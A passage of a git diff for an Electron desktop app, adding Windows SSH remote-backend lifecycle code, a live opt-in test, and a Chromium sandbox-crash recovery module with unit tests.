+  error.kind = 'ready-timeout'
+  throw error
+}
+
+async function connectWindowsRemote(deps) {
+  const {
+    ssh,
+    ownershipId,
+    profile = '',
+    remoteClawCodexPath = '',
+    reuseToken = '',
+    signal,
+    pickLocalPort,
+    forward,
+    cancelForward,
+    waitForClawCodex,
+    probeReuseProof,
+    rememberLog = () => {},
+    readyTimeoutMs = 45_000
+  } = deps
+
+  assertCurrent(signal)
+  const runtime = await probeWindowsRemote(ssh, remoteClawCodexPath)
+  const inspection = await helper(ssh, runtime, 'inspect', [runtime.clawcodexPath])
+
+  if (!inspection.supported) {
+    const error: any = new Error('Update ClawCodex on the remote Windows host before connecting with Desktop SSH.')
+    error.kind = 'update-required'
+    throw error
+  }
+
+  runtime.clawcodexPath = inspection.path
+  const clawcodexVersion = inspection.version || ''
+  rememberLog(`[ssh-lifecycle] remote platform Windows/${runtime.arch}`)
+  rememberLog(`[ssh-lifecycle] located clawcodex at ${runtime.clawcodexPath}`)
+
+  const lock = await helper(ssh, runtime, 'read-lock', [ownershipId])
+
+  if (validLock(lock, ownershipId)) {
+    const state = await processState(ssh, runtime, lock)
+
+    if (state.indeterminate) {
+      const error: any = new Error('Could not determine the state of the existing remote backend.')
+      error.kind = 'transient-transport-error'
+      throw error
+    }
+
+    const reusable = reusableWindowsLock(lock, state, profile, reuseToken, runtime)
+
+    if (reusable) {
+      const localPort = await pickLocalPort()
+      await forward(localPort, lock.port)
+
+      try {
+        const baseUrl = `http://127.0.0.1:${localPort}`
+        const classification = await probeReuseProof(baseUrl, reuseToken, lock.spawnNonce)
+
+        if (classification === 'authenticated-ok') {
+          return {
+            baseUrl,
+            token: reuseToken,
+            remotePort: lock.port,
+            localPort,
+            pid: lock.pid,
+            reused: true,
+            platform: { os: 'Windows', arch: runtime.arch },
+            clawcodexPath: runtime.clawcodexPath,
+            clawcodexVersion,
+            ownershipId,
+            spawnNonce: lock.spawnNonce,
+            creationTimeNs: lock.creationTimeNs
+          }
+        }
+
+        if (classification !== 'authenticated-stale') {
+          throw new Error('Invalid SSH reuse classification.')
+        }
+
+        await cancelForward(localPort, lock.port)
+        await cleanupOwned(ssh, runtime, ownershipId, lock)
+      } catch (error) {
+        await cancelForward(localPort, lock.port)
+        throw error
+      }
+    } else {
+      await cleanupOwned(ssh, runtime, ownershipId, lock)
+    }
+  } else if (lock) {
+    await helper(ssh, runtime, 'remove-lock', [ownershipId])
+  }
+
+  assertCurrent(signal)
+  const token = crypto.randomBytes(32).toString('hex')
+  const spawnNonce = crypto.randomBytes(8).toString('hex')
+  await helper(ssh, runtime, 'upload-token', [ownershipId, spawnNonce], token)
+  let spawned
+
+  try {
+    spawned = await helper(
+      ssh,
+      runtime,
+      'spawn',
+      [],
+      JSON.stringify({ ownershipId, spawnNonce, profile, clawcodexPath: runtime.clawcodexPath })
+    )
+  } catch (error) {
+    await helper(ssh, runtime, 'remove-token', [ownershipId, spawnNonce])
+    throw error
+  }
+
+  const owned = {
+    schemaVersion: LOCKFILE_SCHEMA_VERSION,
+    protocolVersion: PROTOCOL_VERSION,
+    ownershipId,
+    spawnNonce,
+    pid: spawned.pid,
+    creationTimeNs: spawned.creationTimeNs,
+    port: 0,
+    profile,
+    clawcodexPath: runtime.clawcodexPath,
+    clawcodexHome: runtime.clawcodexHome,
+    tokenFingerprint: fingerprintToken(token),
+    startedAt: new Date().toISOString()
+  }
+
+  let localPort = 0
+  let remotePort = 0
+
+  try {
+    // Write the ownership record IMMEDIATELY (port=0): if this attempt is
+    // superseded before readiness and cleanup cannot reach the box, the next
+    // connect still finds the lock and reaps the process by exact ownership.
+    // Inside the try: if this write itself fails, the catch still kills the
+    // just-spawned process via the in-memory record.
+    await helper(ssh, runtime, 'write-lock', [ownershipId], JSON.stringify(owned))
+    remotePort = await waitReady(ssh, runtime, ownershipId, owned, readyTimeoutMs, signal)
+    localPort = await pickLocalPort()
+    await forward(localPort, remotePort)
+    const baseUrl = `http://127.0.0.1:${localPort}`
+    await waitForClawCodex(baseUrl, token)
+    assertCurrent(signal)
+    await helper(ssh, runtime, 'write-lock', [ownershipId], JSON.stringify({ ...owned, port: remotePort }))
+
+    return {
+      baseUrl,
+      token,
+      remotePort,
+      localPort,
+      pid: spawned.pid,
+      reused: false,
+      platform: { os: 'Windows', arch: runtime.arch },
+      clawcodexPath: runtime.clawcodexPath,
+      clawcodexVersion,
+      ownershipId,
+      spawnNonce,
+      creationTimeNs: spawned.creationTimeNs
+    }
+  } catch (error) {
+    if (localPort && remotePort) {
+      await cancelForward(localPort, remotePort)
+    }
+
+    await cleanupOwned(ssh, runtime, ownershipId, owned)
+    throw error
+  }
+}
+
+function buildWindowsInteractiveCommand(remoteCwd = '') {
+  const cwd = String(remoteCwd || '').trim()
+  const script = ['$ErrorActionPreference="Stop"']
+
+  if (cwd) {
+    script.push(
+      `if(Test-Path -LiteralPath ${psLiteral(cwd)} -PathType Container){Set-Location -LiteralPath ${psLiteral(cwd)}}`
+    )
+  }
+
+  script.push('$host.UI.RawUI.WindowTitle="ClawCodex SSH"', 'powershell.exe -NoLogo')
+
+  return powerShellCommand(script.join(';'))
+}
+
+export {
+  buildWindowsInteractiveCommand,
+  connectWindowsRemote,
+  detectRemotePlatform,
+  encodedPowerShell,
+  helper,
+  helperCommand,
+  powerShellCommand,
+  probeWindowsRemote,
+  psLiteral,
+  reusableWindowsLock,
+  validLock
+}
diff --git a/ui-desktop/electron/windows-remote-live.test.ts b/ui-desktop/electron/windows-remote-live.test.ts
new file mode 100644
index 000000000..1bd96b32d
--- /dev/null
+++ b/ui-desktop/electron/windows-remote-live.test.ts
@@ -0,0 +1,106 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { pickLocalPort, SshConnection } from './ssh-connection'
+import { connectWindowsRemote } from './windows-remote-lifecycle'
+
+// Live test against a real Windows host over SSH. Opt-in: set the env trio to
+// your test rig; skipped everywhere else (CI, other machines).
+//   CLAWCODEX_WIN_SSH_HOST   ssh alias/host of the Windows box
+//   CLAWCODEX_WIN_SSH_USER   remote user
+//   CLAWCODEX_WIN_SSH_CLAWCODEX absolute path to the remote clawcodex.exe under test
+const liveHost = process.env.CLAWCODEX_WIN_SSH_HOST || ''
+const liveUser = process.env.CLAWCODEX_WIN_SSH_USER || ''
+const configuredClawCodex = process.env.CLAWCODEX_WIN_SSH_CLAWCODEX || ''
+const ownershipId = '89abcdef0123456789abcdef01234567'
+
+function fetchJson(url, token, path) {
+  return fetch(`${url}${path}`, { headers: { 'X-ClawCodex-Session-Token': token } }).then(async response => {
+    if (!response.ok) {
+      throw new Error(`${response.status}: ${await response.text()}`)
+    }
+
+    return response.json()
+  })
+}
+
+test.skipIf(!liveHost || !liveUser || !configuredClawCodex)(
+  'live Windows remote lifecycle spawns, authenticates, reuses, and cleans exact ownership',
+  async () => {
+    const ssh = new SshConnection({ host: liveHost, user: liveUser, port: 22, keyPath: '' }, { mux: true })
+    await ssh.open()
+
+    const common = {
+      ssh,
+      ownershipId,
+      profile: '',
+      remoteClawCodexPath: configuredClawCodex,
+      pickLocalPort,
+      forward: (local, remote) => ssh.forward(local, remote),
+      cancelForward: (local, remote) => ssh.cancelForward(local, remote),
+      waitForClawCodex: async (baseUrl, token) => {
+        for (let i = 0; i < 40; i++) {
+          try {
+            await fetchJson(baseUrl, token, '/api/status')
+
+            return
+          } catch {
+            void 0
+          }
+
+          await new Promise(resolve => setTimeout(resolve, 250))
+        }
+
+        throw new Error('status timeout')
+      },
+      probeReuseProof: async (baseUrl, token, nonce) => {
+        const body: any = await fetchJson(baseUrl, token, '/api/ssh/ownership')
+
+        return body.sshOwnerNonce === nonce ? 'authenticated-ok' : 'authenticated-stale'
+      },
+      rememberLog: () => {}
+    }
+
+    let first
+    let second
+
+    try {
+      first = await connectWindowsRemote(common)
+      assert.equal(first.platform.os, 'Windows')
+      assert.equal(first.reused, false)
+      const status: any = await fetchJson(first.baseUrl, first.token, '/api/status')
+      assert.ok(status)
+      await ssh.cancelForward(first.localPort, first.remotePort)
+      second = await connectWindowsRemote({ ...common, reuseToken: first.token })
+      assert.equal(second.reused, true)
+      assert.equal(second.pid, first.pid)
+      assert.equal(second.spawnNonce, first.spawnNonce)
+    } finally {
+      if (second) {
+        await ssh.cancelForward(second.localPort, second.remotePort)
+      }
+
+      const runtimeScript = `& '${configuredClawCodex.replace('clawcodex.exe', 'python.exe')}' -m clawcodex_cli.windows_ssh_runtime read-lock '${ownershipId}'`
+
+      const lock: any = JSON.parse(
+        await ssh.exec(`powershell.exe -NoProfile -NonInteractive -Command "${runtimeScript}"`)
+      )
+
+      if (lock) {
+        const python = configuredClawCodex.replace('clawcodex.exe', 'python.exe')
+        const terminate = `& '${python}' -m clawcodex_cli.windows_ssh_runtime terminate '${lock.pid}' '${lock.creationTimeNs}' '${lock.clawcodexPath}' '${lock.spawnNonce}'`
+        await ssh.exec(`powershell.exe -NoProfile -NonInteractive -Command "${terminate}"`)
+        await ssh.exec(
+          `powershell.exe -NoProfile -NonInteractive -Command "& '${python}' -m clawcodex_cli.windows_ssh_runtime remove-lock '${ownershipId}'"`
+        )
+        await ssh.exec(
+          `powershell.exe -NoProfile -NonInteractive -Command "& '${python}' -m clawcodex_cli.windows_ssh_runtime remove-log '${ownershipId}' '${lock.spawnNonce}'"`
+        )
+      }
+
+      await ssh.close()
+    }
+  },
+  90_000
+)
diff --git a/ui-desktop/electron/windows-sandbox-fallback.test.ts b/ui-desktop/electron/windows-sandbox-fallback.test.ts
new file mode 100644
index 000000000..f56160430
--- /dev/null
+++ b/ui-desktop/electron/windows-sandbox-fallback.test.ts
@@ -0,0 +1,366 @@
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  ALL_APPLICATION_PACKAGES_SID,
+  alreadyHasNoSandbox,
+  BOOT_ABORTS_BEFORE_FALLBACK,
+  buildIcaclsGrantArgs,
+  buildNoSandboxRelaunchArgs,
+  decideWindowsSandboxLaunch,
+  fallbackMarker,
+  grantAllApplicationPackagesAcl,
+  isWindowsSandboxBreakpointExit,
+  markerAfterSuccessfulBoot,
+  parseSandboxMarker,
+  readSandboxMarker,
+  sandboxMarkerPath,
+  shouldAttemptAclRepair,
+  shouldRelaunchForGpuSandboxCrash,
+  shouldRelaunchForRendererSandboxCrashLoop,
+  WINDOWS_SANDBOX_BREAKPOINT_EXIT,
+  WINDOWS_SANDBOX_MARKER_FILENAME,
+  writeSandboxMarker
+} from './windows-sandbox-fallback'
+
+test('isWindowsSandboxBreakpointExit recognizes signed and unsigned STATUS_BREAKPOINT', () => {
+  assert.equal(isWindowsSandboxBreakpointExit(WINDOWS_SANDBOX_BREAKPOINT_EXIT), true)
+  assert.equal(isWindowsSandboxBreakpointExit(-2147483645), true)
+  assert.equal(isWindowsSandboxBreakpointExit(0x80000003), true)
+  assert.equal(isWindowsSandboxBreakpointExit(1), false)
+  assert.equal(isWindowsSandboxBreakpointExit('nope'), false)
+})
+
+test('alreadyHasNoSandbox honors argv and ELECTRON_DISABLE_SANDBOX', () => {
+  assert.equal(alreadyHasNoSandbox(['--foo', '--no-sandbox'], {}), true)
+  assert.equal(alreadyHasNoSandbox([], { ELECTRON_DISABLE_SANDBOX: '1' }), true)
+  assert.equal(alreadyHasNoSandbox([], { ELECTRON_DISABLE_SANDBOX: 'true' }), true)
+  assert.equal(alreadyHasNoSandbox(['--disable-gpu'], {}), false)
+})
+
+test('decideWindowsSandboxLaunch stays off outside Windows and on clean markers', () => {
+  assert.equal(decideWindowsSandboxLaunch({ platform: 'linux', marker: { state: 'booting' } }).enable, false)
+
+  const cleanOk = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: { state: 'ok' },
+    argv: [],
+    env: {}
+  })
+
+  assert.equal(cleanOk.enable, false)
+  assert.deepEqual(cleanOk.nextMarker, { state: 'booting' })
+
+  const noMarker = decideWindowsSandboxLaunch({ platform: 'win32', marker: null, argv: [], env: {} })
+  assert.equal(noMarker.enable, false)
+  assert.deepEqual(noMarker.nextMarker, { state: 'booting' })
+})
+
+test('a single mid-boot abort does NOT drop the sandbox (two-strike rule)', () => {
+  // First abort: prior launch left `booting` with no abort count. Could be a
+  // task-manager kill or power loss — sandbox stays ON, strike recorded.
+  const first = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: { state: 'booting' },
+    argv: [],
+    env: {}
+  })
+
+  assert.equal(first.enable, false)
+  assert.deepEqual(first.nextMarker, { state: 'booting', bootAborts: 1 })
+
+  // Second consecutive abort: deterministic crash loop → fallback engages.
+  const second = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: first.nextMarker,
+    argv: [],
+    env: {},
+    appVersion: '1.2.3'
+  })
+
+  assert.equal(second.enable, true)
+  assert.equal(second.reason, 'boot-loop')
+  assert.deepEqual(second.nextMarker, { state: 'fallback', reason: 'boot-loop', version: '1.2.3' })
+
+  assert.equal(BOOT_ABORTS_BEFORE_FALLBACK, 2)
+})
+
+test('sticky fallback persists within one app version', () => {
+  const decision = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: { state: 'fallback', reason: 'gpu-breakpoint', version: '1.2.3' },
+    argv: [],
+    env: {},
+    appVersion: '1.2.3'
+  })
+
+  assert.equal(decision.enable, true)
+  assert.equal(decision.reason, 'sticky-fallback')
+  assert.equal(decision.nextMarker.state, 'fallback')
+  assert.equal(decision.nextMarker.reason, 'gpu-breakpoint')
+})
+
+test('an app update re-probes the sandbox once instead of degrading forever', () => {
+  // Version changed since the fallback engaged → probe with sandbox ON.
+  const reprobe = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: { state: 'fallback', reason: 'boot-loop', version: '1.2.3' },
+    argv: [],
+    env: {},
+    appVersion: '1.3.0'
+  })
+
+  assert.equal(reprobe.enable, false)
+  assert.equal(reprobe.nextMarker.state, 'booting')
+  assert.equal(reprobe.nextMarker.reprobe, true)
+
+  // The re-probe boot aborted → straight back to fallback, no second strike.
+  const failedReprobe = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: reprobe.nextMarker,
+    argv: [],
+    env: {},
+    appVersion: '1.3.0'
+  })
+
+  assert.equal(failedReprobe.enable, true)
+  assert.equal(failedReprobe.reason, 'reprobe-failed')
+  assert.equal(failedReprobe.nextMarker.state, 'fallback')
+  assert.equal(failedReprobe.nextMarker.version, '1.3.0')
+
+  // A legacy fallback marker without a version stays sticky (no re-probe).
+  const legacy = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: { state: 'fallback' },
+    argv: [],
+    env: {},
+    appVersion: '1.3.0'
+  })
+
+  assert.equal(legacy.enable, true)
+  assert.equal(legacy.reason, 'sticky-fallback')
+})
+
+test('manual --no-sandbox is honored but never made sticky', () => {
+  const manual = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: { state: 'ok' },
+    argv: ['--no-sandbox'],
+    env: {}
+  })
+
+  assert.equal(manual.enable, true)
+  assert.equal(manual.reason, 'already-enabled')
+  assert.equal(manual.nextMarker.state, 'booting')
+
+  // But a relaunch-written fallback marker is preserved through the flagged boot.
+  const relaunched = decideWindowsSandboxLaunch({
+    platform: 'win32',
+    marker: { state: 'fallback', reason: 'gpu-breakpoint', version: '1.2.3' },
+    argv: ['--no-sandbox'],
+    env: {},
+    appVersion: '1.2.3'
+  })
+
+  assert.equal(relaunched.enable, true)
+  assert.equal(relaunched.nextMarker.state, 'fallback')
+})
+
+test('marker transitions after a successful boot', () => {
+  assert.deepEqual(markerAfterSuccessfulBoot({ fallbackActive: false }), { state: 'ok' })
+  assert.deepEqual(markerAfterSuccessfulBoot({ fallbackActive: true, reason: 'gpu-breakpoint', appVersion: '1.2.3' }), {
+    state: 'fallback',
+    reason: 'gpu-breakpoint',
+    version: '1.2.3'
+  })
+})
+
+test('shouldAttemptAclRepair only fires on evidence of trouble', () => {
+  assert.equal(shouldAttemptAclRepair(null), false)
+  assert.equal(shouldAttemptAclRepair({ state: 'ok' }), false)
+  assert.equal(shouldAttemptAclRepair({ state: 'booting' }), true)
+  assert.equal(shouldAttemptAclRepair({ state: 'fallback' }), true)
+})
+
+test('sandbox marker round-trips through the userData file', () => {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-sandbox-marker-'))
+
+  try {
+    assert.equal(sandboxMarkerPath(dir), path.join(dir, WINDOWS_SANDBOX_MARKER_FILENAME))
+    assert.equal(readSandboxMarker(dir), null)
+
+    writeSandboxMarker(dir, { state: 'booting', bootAborts: 1 })
+    assert.deepEqual(readSandboxMarker(dir), { state: 'booting', bootAborts: 1 })
+
+    writeSandboxMarker(dir, fallbackMarker('renderer-crash-loop', '1.2.3'))
+    assert.deepEqual(readSandboxMarker(dir), {
+      state: 'fallback',
+      reason: 'renderer-crash-loop',
+      version: '1.2.3'
+    })
+
+    assert.equal(parseSandboxMarker({ state: 'fallback' })?.state, 'fallback')
+    assert.equal(parseSandboxMarker({ state: 'nope' }), null)
+    // Unknown reason strings and junk fields are dropped, not fatal.
+    assert.deepEqual(parseSandboxMarker({ state: 'fallback', reason: 'weird', bootAborts: -3 }), {
+      state: 'fallback'
+    })
+  } finally {
+    fs.rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+test('buildIcaclsGrantArgs targets ALL APPLICATION PACKAGES with inherited RX', () => {
+  assert.deepEqual(buildIcaclsGrantArgs('C:\\ClawCodex\\win-unpacked'), [
+    'C:\\ClawCodex\\win-unpacked',
+    '/grant',
+    `*${ALL_APPLICATION_PACKAGES_SID}:(OI)(CI)(RX)`,
+    '/T',
+    '/C',
+    '/Q'
+  ])
+})
+
+test('grantAllApplicationPackagesAcl is a no-op off Windows and reports exec failures', () => {
+  assert.deepEqual(grantAllApplicationPackagesAcl('C:\\x', { platform: 'darwin' }), { ok: false })
+
+  const calls: Array<{ file: string; args: readonly string[] }> = []
+
+  const ok = grantAllApplicationPackagesAcl('C:\\ClawCodex', {
+    platform: 'win32',
+    execFileSync(file, args) {
+      calls.push({ file, args })
+
+      return Buffer.alloc(0)
+    }
+  })
+
+  assert.deepEqual(ok, { ok: true })
+  assert.equal(calls.length, 1)
+  assert.equal(calls[0]?.file, 'icacls')
+  assert.deepEqual(calls[0]?.args, buildIcaclsGrantArgs('C:\\ClawCodex'))
+
+  const failed = grantAllApplicationPackagesAcl('C:\\ClawCodex', {
+    platform: 'win32',
+    execFileSync() {
+      throw new Error('access denied')
+    }
+  })
+
+  assert.equal(failed.ok, false)
+  assert.match(String(failed.error), /access denied/)
+})
+
+test('shouldRelaunchForGpuSandboxCrash only fires once for GPU breakpoint deaths', () => {
+  assert.equal(
+    shouldRelaunchForGpuSandboxCrash({
+      platform: 'win32',
+      details: { type: 'GPU', exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT },
+      alreadyNoSandbox: false,
+      relaunchAttempted: false
+    }),
+    true
+  )
+  assert.equal(
+    shouldRelaunchForGpuSandboxCrash({
+      platform: 'win32',
+      details: { type: 'GPU', exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT },
+      alreadyNoSandbox: true,
+      relaunchAttempted: false
+    }),
+    false
+  )
+  assert.equal(
+    shouldRelaunchForGpuSandboxCrash({
+      platform: 'win32',
+      details: { type: 'GPU', exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT },
+      alreadyNoSandbox: false,
+      relaunchAttempted: true
+    }),
+    false
+  )
+  assert.equal(
+    shouldRelaunchForGpuSandboxCrash({
+      platform: 'win32',
+      details: { type: 'renderer', exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT },
+      alreadyNoSandbox: false,
+      relaunchAttempted: false
+    }),
+    false
+  )
+  assert.equal(
+    shouldRelaunchForGpuSandboxCrash({
+      platform: 'linux',
+      details: { type: 'GPU', exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT },
+      alreadyNoSandbox: false,
+      relaunchAttempted: false
+    }),
+    false
+  )
+})
+
+test('renderer crash-loop relaunch requires the sandbox breakpoint signature', () => {
+  assert.equal(
+    shouldRelaunchForRendererSandboxCrashLoop({
+      platform: 'win32',
+      reason: 'crashed',
+      exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT,
+      alreadyNoSandbox: false,
+      relaunchAttempted: false
+    }),
+    true
+  )
+  // Unrelated renderer crash loops (plain crash, OOM churn) keep the sandbox.
+  assert.equal(
+    shouldRelaunchForRendererSandboxCrashLoop({
+      platform: 'win32',
+      reason: 'crashed',
+      exitCode: 1,
+      alreadyNoSandbox: false,
+      relaunchAttempted: false
+    }),
+    false
+  )
+  assert.equal(
+    shouldRelaunchForRendererSandboxCrashLoop({
+      platform: 'win32',
+      reason: 'oom',
+      exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT,
+      alreadyNoSandbox: false,
+      relaunchAttempted: false
+    }),
+    false
+  )
+  assert.equal(
+    shouldRelaunchForRendererSandboxCrashLoop({
+      platform: 'win32',
+      reason: 'crashed',
+      exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT,
+      alreadyNoSandbox: true,
+      relaunchAttempted: false
+    }),
+    false
+  )
+  assert.equal(
+    shouldRelaunchForRendererSandboxCrashLoop({
+      platform: 'linux',
+      reason: 'crashed',
+      exitCode: WINDOWS_SANDBOX_BREAKPOINT_EXIT,
+      alreadyNoSandbox: false,
+      relaunchAttempted: false
+    }),
+    false
+  )
+})
+
+test('buildNoSandboxRelaunchArgs appends a single --no-sandbox flag', () => {
+  assert.deepEqual(buildNoSandboxRelaunchArgs(['--foo', '--no-sandbox', 'clawcodex://x']), [
+    '--foo',
+    'clawcodex://x',
+    '--no-sandbox'
+  ])
+})
diff --git a/ui-desktop/electron/windows-sandbox-fallback.ts b/ui-desktop/electron/windows-sandbox-fallback.ts
new file mode 100644
index 000000000..815f47189
--- /dev/null
+++ b/ui-desktop/electron/windows-sandbox-fallback.ts
@@ -0,0 +1,394 @@
+/**
+ * Windows Chromium/Electron sandbox recovery for #38216.
+ *
+ * On some Windows hosts the GPU/renderer sandboxes die with STATUS_BREAKPOINT
+ * (`0x80000003` / exit `-2147483645`). Chromium then FATAL-exits
+ * ("GPU process isn't usable. Goodbye.") before the UI is usable.
+ *
+ * Recovery ladder, all scoped to win32:
+ *
+ * 1. ACL repair (first line): grant `S-1-15-2-2` (ALL APPLICATION PACKAGES)
+ *    RX on the install tree. A missing ACE plus orphan AppContainer SIDs is a
+ *    known Chromium CHECK failure (electron/electron#51761). Runs at install
+ *    time, and again at launch ONLY when the marker shows a prior aborted
+ *    boot — never on healthy launches (icacls /T recursion is not free).
+ * 2. `--no-sandbox` (second line): enabled only on strong evidence —
+ *    a signature-confirmed GPU/renderer breakpoint death, or TWO consecutive
+ *    mid-boot aborts (a single abort can be a task-manager kill or power
+ *    loss; the reported failure mode is a deterministic 100% crash loop).
+ * 3. The fallback is sticky per app version, not forever: after an update
+ *    the sandbox is re-probed once (a new Electron or an installer-applied
+ *    ACL grant may have fixed the host). If the re-probe boot aborts, the
+ *    next launch goes straight back to `--no-sandbox`.
+ *
+ * Pure helpers stay injectable so tests never boot Electron or touch real ACLs.
+ */
+
+import fs from 'node:fs'
+import path from 'node:path'
+
+export const WINDOWS_SANDBOX_MARKER_FILENAME = 'windows-sandbox-fallback.json'
+
+/** Well-known SID for "ALL APPLICATION PACKAGES". */
+export const ALL_APPLICATION_PACKAGES_SID = 'S-1-15-2-2'
+
+/** STATUS_BREAKPOINT as a signed Win32 exit code (WER / Chromium). */
+export const WINDOWS_SANDBOX_BREAKPOINT_EXIT = -2147483645
+
+/** Consecutive mid-boot aborts required before enabling --no-sandbox. */
+export const BOOT_ABORTS_BEFORE_FALLBACK = 2
+
+export type SandboxMarkerState = 'booting' | 'fallback' | 'ok'
+
+export type SandboxFallbackReason = 'gpu-breakpoint' | 'renderer-crash-loop' | 'boot-loop'
+
+export interface SandboxMarker {
+  state: SandboxMarkerState
+  /** Why the fallback engaged (state === 'fallback'). */
+  reason?: SandboxFallbackReason
+  /** App version that entered fallback — a version change triggers a re-probe. */
+  version?: string
+  /** Consecutive aborted boots observed so far (state === 'booting'). */
+  bootAborts?: number
+  /** This boot is a sandbox re-probe after an app update; an abort returns
+   *  straight to fallback instead of restarting the two-strike count. */
+  reprobe?: boolean
+}
+
+export function sandboxMarkerPath(userDataDir: string): string {
+  return path.join(String(userDataDir || ''), WINDOWS_SANDBOX_MARKER_FILENAME)
+}
+
+export function isWindowsSandboxBreakpointExit(exitCode: unknown): boolean {
+  const n = Number(exitCode)
+
+  if (!Number.isFinite(n)) {
+    return false
+  }
+
+  // Signed STATUS_BREAKPOINT, or the same 32-bit pattern as unsigned.
+  return n === WINDOWS_SANDBOX_BREAKPOINT_EXIT || n >>> 0 === 0x80000003
+}
+
+export function alreadyHasNoSandbox(argv: readonly string[] = [], env: NodeJS.ProcessEnv = process.env): boolean {
+  if (Array.isArray(argv) && argv.some(arg => arg === '--no-sandbox')) {
+    return true
+  }
+
+  const disable = String(env.ELECTRON_DISABLE_SANDBOX || '')
+    .trim()
+    .toLowerCase()
+
+  return disable === '1' || disable === 'true' || disable === 'yes' || disable === 'on'
+}
+
+const FALLBACK_REASONS: readonly string[] = ['gpu-breakpoint', 'renderer-crash-loop', 'boot-loop']
+
+export function parseSandboxMarker(raw: unknown): SandboxMarker | null {
+  if (!raw || typeof raw !== 'object') {
+    return null
+  }
+
+  const record = raw as Record<string, unknown>
+  const state = record.state
+
+  if (state !== 'booting' && state !== 'fallback' && state !== 'ok') {
+    return null
+  }
+
+  const marker: SandboxMarker = { state }
+
+  if (typeof record.reason === 'string' && FALLBACK_REASONS.includes(record.reason)) {
+    marker.reason = record.reason as SandboxFallbackReason
+  }
+
+  if (typeof record.version === 'string' && record.version) {
+    marker.version = record.version
+  }
+
+  const aborts = Number(record.bootAborts)
+
+  if (Number.isInteger(aborts) && aborts > 0) {
+    marker.bootAborts = aborts
+  }
+
+  if (record.reprobe === true) {
+    marker.reprobe = true
+  }
+
+  return marker
+}
+
+export function readSandboxMarker(userDataDir: string, { readFileSync = fs.readFileSync } = {}): SandboxMarker | null {
+  try {
+    const raw = JSON.parse(readFileSync(sandboxMarkerPath(userDataDir), 'utf8'))
+
+    return parseSandboxMarker(raw)
+  } catch {
+    return null
+  }
+}
+
+export function writeSandboxMarker(
+  userDataDir: string,
+  marker: SandboxMarker,
+  {
+    mkdirSync = fs.mkdirSync,
+    writeFileSync = fs.writeFileSync
+  }: {
+    mkdirSync?: typeof fs.mkdirSync
+    writeFileSync?: typeof fs.writeFileSync
+  } = {}
+): void {
+  const dir = String(userDataDir || '')
+
+  if (!dir) {
+    return
+  }
+
+  mkdirSync(dir, { recursive: true })
+  writeFileSync(sandboxMarkerPath(dir), `${JSON.stringify(marker)}\n`, 'utf8')
+}
+
+export interface SandboxLaunchDecision {
+  enable: boolean
+  reason: string | null
+  /** Marker to persist immediately, before GPU/sandbox children start. */
+  nextMarker: SandboxMarker
+}
+
+/**
+ * Single launch-time transition: decide whether this Windows launch disables
+ * the Chromium sandbox AND what the marker becomes for crash-detection on the
+ * next launch.
+ *
+ * - `booting` left behind → the prior launch aborted mid-boot. One abort is
+ *   tolerated (could be a kill/power loss); the SECOND consecutive abort — or
+ *   a single abort during a post-update re-probe — engages the fallback.
+ * - `fallback` is sticky within one app version. A version change re-probes
+ *   the sandbox once so a fixed host (new Electron, installer ACL repair)
+ *   returns to full sandboxing instead of degrading forever.
+ * - A manual `--no-sandbox` / ELECTRON_DISABLE_SANDBOX launch is honored but
+ *   NOT made sticky: the marker keeps its normal lifecycle so the flag's
+ *   removal restores the sandbox.
+ */
+export function decideWindowsSandboxLaunch(
+  options: {
+    platform?: NodeJS.Platform | string
+    argv?: readonly string[]
+    env?: NodeJS.ProcessEnv
+    marker?: SandboxMarker | null
+    appVersion?: string
+  } = {}
+): SandboxLaunchDecision {
+  const appVersion = String(options.appVersion || '')
+
+  if ((options.platform ?? process.platform) !== 'win32') {
+    return { enable: false, reason: null, nextMarker: { state: 'booting' } }
+  }
+
+  const argv = options.argv ?? process.argv
+  const env = options.env ?? process.env
+  const marker = options.marker ?? null
+
+  if (alreadyHasNoSandbox(argv, env)) {
+    // Honor the explicit flag; keep the marker lifecycle unchanged. When the
+    // relaunch path set the flag, the fallback marker it wrote is preserved.
+    const nextMarker: SandboxMarker = marker?.state === 'fallback' ? marker : { state: 'booting' }
+
+    return { enable: true, reason: 'already-enabled', nextMarker }
+  }
+
+  if (marker?.state === 'fallback') {
+    if (marker.version && appVersion && marker.version !== appVersion) {
+      // App updated since the fallback engaged — re-probe the sandbox once.
+      return {
+        enable: false,
+        reason: null,
+        nextMarker: { state: 'booting', reprobe: true, bootAborts: 0 }
+      }
+    }
+
+    return {
+      enable: true,
+      reason: 'sticky-fallback',
+      nextMarker: { ...marker, version: marker.version || appVersion || undefined }
+    }
+  }
+
+  if (marker?.state === 'booting') {
+    const abortsObserved = (marker.bootAborts ?? 0) + 1
+
+    if (marker.reprobe) {
+      // The one post-update sandboxed re-probe aborted → back to fallback.
+      return {
+        enable: true,
+        reason: 'reprobe-failed',
+        nextMarker: fallbackMarker('boot-loop', appVersion)
+      }
+    }
+
+    if (abortsObserved >= BOOT_ABORTS_BEFORE_FALLBACK) {
+      return {
+        enable: true,
+        reason: 'boot-loop',
+        nextMarker: fallbackMarker('boot-loop', appVersion)
+      }
+    }
+
+    return {
+      enable: false,
+      reason: null,
+      nextMarker: { state: 'booting', bootAborts: abortsObserved }
+    }
+  }
+
+  // No marker, or a clean `ok` from the previous run.
+  return { enable: false, reason: null, nextMarker: { state: 'booting' } }
+}
+
